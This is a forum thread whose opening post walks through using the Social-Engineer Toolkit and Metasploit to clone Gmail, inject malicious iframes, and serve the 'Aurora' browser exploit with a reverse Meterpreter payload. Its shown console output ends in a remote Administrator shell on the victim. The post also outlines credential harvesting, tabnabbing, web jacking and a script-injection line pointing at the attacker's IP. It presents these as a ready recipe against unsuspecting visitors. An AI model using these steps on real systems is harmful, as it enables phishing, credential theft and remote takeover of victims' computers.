Metasploit Browser Exploit Method
#1
The Metasploit Browser Exploit Method will import Metasploit client-side exploits with the ability to clone the website and utilize browser-based exploits. Let’s take a quick look on exploiting a browser exploit through SET.

Code:
Select from the menu:

1.  Spear-Phishing Attack Vectors
2.  Website Attack Vectors
3.  Infectious Media Generator
4.  Create a Payload and Listener
5.  Mass Mailer Attack
6.  Teensy USB HID Attack Vector
7   Update the Metasploit Framework
8.  Update the Social-Engineer Toolkit
9.  Help, Credits, and About
10. Exit the Social-Engineer Toolkit

Enter your choice: 2

The Social-Engineer Toolkit "Web Attack" vector is a unique way of
utilizing multiple web-based attacks in order to compromise the
intended victim.

Enter what type of attack you would like to utilize.

The Java Applet attack will spoof a Java Certificate and
deliver a metasploit based payload. Uses a customized
java applet created by Thomas Werth to deliver
the payload.

The Metasploit browser exploit method will utilize select
Metasploit browser exploits through an iframe and deliver
a Metasploit payload.

The Credential Harvester Method will utilize web cloning
of a website that has a username and password field and
harvest all the information posted to the website.

The TabNabbing Method will wait for a user to move to a
different tab, then refresh the page to something different.

The Man Left in the Middle Attack Method was introduced by
Kos and utilizes HTTP REFERER's in order to intercept fields
and harvest data from them. You need to have an already vulnerable
site and incorporate <script src="http://YOURIP/">. This could either
be from a compromised site or through XSS.

The web jacking attack method was introduced by white_sheep, Emgent
and the Back|Track team. This method utilizes iframe replacements to
make the highlighted URL link to appear legitimate however when clicked
a window pops up then is replaced with the malicious link. You can edit
the link replacement settings in the set_config if its to slow/fast.

The multi-attack will add a combination of attacks through the web attack
menu. For example you can utilize the Java Applet, Metasploit Browser,
Credential Harvester/Tabnabbing, and the Man Left in the Middle attack
all at once to see which is successful.

1. The Java Applet Attack Method
2. The Metasploit Browser Exploit Method
3. Credential Harvester Attack Method
4. Tabnabbing Attack Method
5. Man Left in the Middle Attack Method
6. Web Jacking Attack Method
7. Multi-Attack Web Method
8. Return to the previous menu

Enter your choice (press enter for default): 2

The first method will allow SET to import a list of pre-defined
web applications that it can utilize within the attack.

The second method will completely clone a website of your choosing
and allow you to utilize the attack vectors within the completely
same web application you were attempting to clone.

The third method allows you to import your own website, note that you
should only have an index.html when using the import website
functionality.

[!] Website Attack Vectors [!]

1. Web Templates
2. Site Cloner
3. Custom Import
4. Return to main menu

Enter number (1-4): 2

SET supports both HTTP and HTTPS
Example: http://www.thisisafakesite.com
Enter the url to clone: https://gmail.com

Enter the browser exploit you would like to use

1. Microsoft Windows WebDAV Application DLL Hijacker
2. Apple QuickTime 7.6.7 _Marshaled_pUnk Code Execution
3. Microsoft Windows Shell LNK Code Execution (MS10-046)
4. Microsoft Help Center XSS and Command Execution (MS10-042)
5. Microsoft Internet Explorer iepeers.dll Use After Free (MS10-018)
6. Microsoft Internet Explorer Tabular Data Control Exploit (MS10-018)
7. Microsoft Internet Explorer "Aurora" Memory Corruption (MS10-002)
8. Internet Explorer 7 Uninitialized Memory Corruption (MS09-002)
9. Internet Explorer Style getElementsbyTagName Corruption (MS09-072)
10. Internet Explorer isComponentInstalled Overflow
11. Internet Explorer Explorer Data Binding Corruption (MS08-078)
12. Internet Explorer Unsafe Scripting Misconfiguration
13. FireFox 3.5 escape Return Value Memory Corruption

Enter your choice (1-12) (enter for default): 7
What payload do you want to generate:

Name:                                      Description:

1. Windows Shell Reverse_TCP               Spawn a command shell on victim and send back to attacker.
2. Windows Reverse_TCP Meterpreter         Spawn a meterpreter shell on victim and send back to attacker.
3. Windows Reverse_TCP VNC DLL             Spawn a VNC server on victim and send back to attacker.
4. Windows Bind Shell                      Execute payload and create an accepting port on remote system.
5. Windows Bind Shell X64                  Windows x64 Command Shell, Bind TCP Inline
6. Windows Shell Reverse_TCP X64           Windows X64 Command Shell, Reverse TCP Inline
7. Windows Meterpreter Reverse_TCP X64     Connect back to the attacker (Windows x64), Meterpreter
8. Windows Meterpreter Egress Buster       Spawn a meterpreter shell and find a port home via multiple ports
9. Download/Run your Own Executable        Downloads an executable and runs it

Enter choice (example 1-8) (Enter for default):
Enter the port to use for the reverse (enter for default):

[*] Cloning the website: https://gmail.com
[*] This could take a little bit...
[*] Injecting iframes into cloned website for MSF Attack....
[*] Malicious iframe injection successful...crafting payload.

***************************************************
Web Server Launched. Welcome to the SET Web Attack.
***************************************************

[--] Tested on IE6, IE7, IE8, Safari, Chrome, and FireFox [--]

[*] Launching MSF Listener...
[*] This may take a few to load MSF...
[-] ***
[-] * WARNING: No database support: String User Disabled Database Support
[-] ***

                ##                          ###           ##    ##
##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

       =[ metasploit v3.4.2-dev [core:3.4 api:1.0]
+ -- --=[ 588 exploits - 300 auxiliary
+ -- --=[ 224 payloads - 27 encoders - 8 nops
       =[ svn r10268 updated today (2010.09.09)

resource (src/program_junk/meta_config)> use windows/browser/ms10_002_aurora
resource (src/program_junk/meta_config)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource (src/program_junk/meta_config)> set LHOST 172.16.32.129
LHOST => 172.16.32.129
resource (src/program_junk/meta_config)> set LPORT 443
LPORT => 443
resource (src/program_junk/meta_config)> set URIPATH /
URIPATH => /
resource (src/program_junk/meta_config)> set SRVPORT 8080
SRVPORT => 8080
resource (src/program_junk/meta_config)> set ExitOnSession false
ExitOnSession => false
resource (src/program_junk/meta_config)> exploit -j
[*] Exploit running as background job.
msf exploit(ms10_002_aurora) >
[*] Started reverse handler on 172.16.32.129:443
[*] Using URL: http://0.0.0.0:8080/
[*]  Local IP: http://172.16.32.129:8080/
[*] Server started.

Once the victim browses the website, it will look exactly like the site you cloned and then compromise the system.

[code][*] Sending stage (748544 bytes) to 172.16.32.131
[*] Meterpreter session 1 opened (172.16.32.129:443 -> 172.16.32.131:1183) at
    Thu Sep 09 10:14:22 -0400 2010

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > shell
Process 2988 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrator\Desktop>
cc : Social Engineer

#2
nice share Smile
can i use the rent of computer?

Quote:English SubForum. Please use English in this subforum Smile

#3
you can do.

#4
nice post bro ..

#5
What version is this? my feature only 6.

Code:
Select from the menu:

   1) Social-Engineering Attacks
   2) Fast-Track Penetration Testing
   3) Third Party Modules
   4) Update the Metasploit Framework
   5) Update the Social-Engineer Toolkit
   6) Help, Credits, and About

  99) Exit the Social-Engineer Toolkit

set>

i already update the set.
[Image: 33529117274.jpg]

#6
backtrack 5, i havn't update my bt
on backtrack 5 r1 that's u use..
so the set tool has been updated.

#7
WARNING!
THIS IS ENGLISH ROOM!
DON'T USE BAHASA!
Yang putih, yang seharusnya ber-aksi dan berbakat!
Linuxtivist blog

#8
nice post for you + 1






Users browsing this thread: 1 Guest(s)